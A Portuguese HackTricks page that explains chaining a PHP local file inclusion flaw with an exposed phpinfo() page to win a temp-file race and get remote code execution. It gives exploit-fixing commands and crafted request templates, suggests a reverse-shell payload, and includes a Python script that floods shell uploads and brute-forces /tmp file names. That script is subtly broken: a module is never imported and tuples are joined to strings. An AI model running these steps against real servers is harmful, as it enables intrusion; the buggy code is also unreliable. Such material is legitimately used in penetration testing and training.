6.2 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção de NFTs exclusivos
-
Adquira o material oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Para explorar essa vulnerabilidade você precisa: Uma vulnerabilidade LFI, uma página onde phpinfo() é exibido, "file_uploads = on" e o servidor precisa ter permissão para escrever no diretório "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Você precisa corrigir o exploit (mudar => para =>). Para fazer isso, você pode:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Você deve alterar também o payload no início do exploit (por um php-rev-shell, por exemplo), o REQ1 (este deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), e LFIREQ (este deve apontar para a vulnerabilidade LFI, ou seja: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Verifique o duplo "%" ao explorar o caractere nulo)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Teoria
Se uploads são permitidos no PHP e você tenta fazer upload de um arquivo, este arquivo é armazenado em um diretório temporário até que o servidor termine de processar a solicitação, então este arquivo temporário é deletado.
Então, se você encontrou uma vulnerabilidade LFI no servidor web, você pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja deletado.
No Windows, os arquivos geralmente são armazenados em C:\Windows\temp\php<<
No linux, o nome do arquivo costuma ser aleatório e localizado em /tmp. Como o nome é aleatório, é necessário extrair de algum lugar o nome do arquivo temporário e acessá-lo antes que seja deletado. Isso pode ser feito lendo o valor da variável $_FILES dentro do conteúdo da função "phpconfig()".
phpinfo()
O PHP usa um buffer de 4096B e quando está cheio, é enviado ao cliente. Então o cliente pode enviar muitas solicitações grandes (usando cabeçalhos grandes) fazendo upload de um php reverse shell, esperar pela primeira parte do retorno do phpinfo() (onde o nome do arquivo temporário está) e tentar acessar o arquivo temporário antes que o servidor php delete o arquivo explorando uma vulnerabilidade LFI.
Script Python para tentar força bruta no nome (se o comprimento = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção de NFTs exclusivos
-
Adquira o material oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.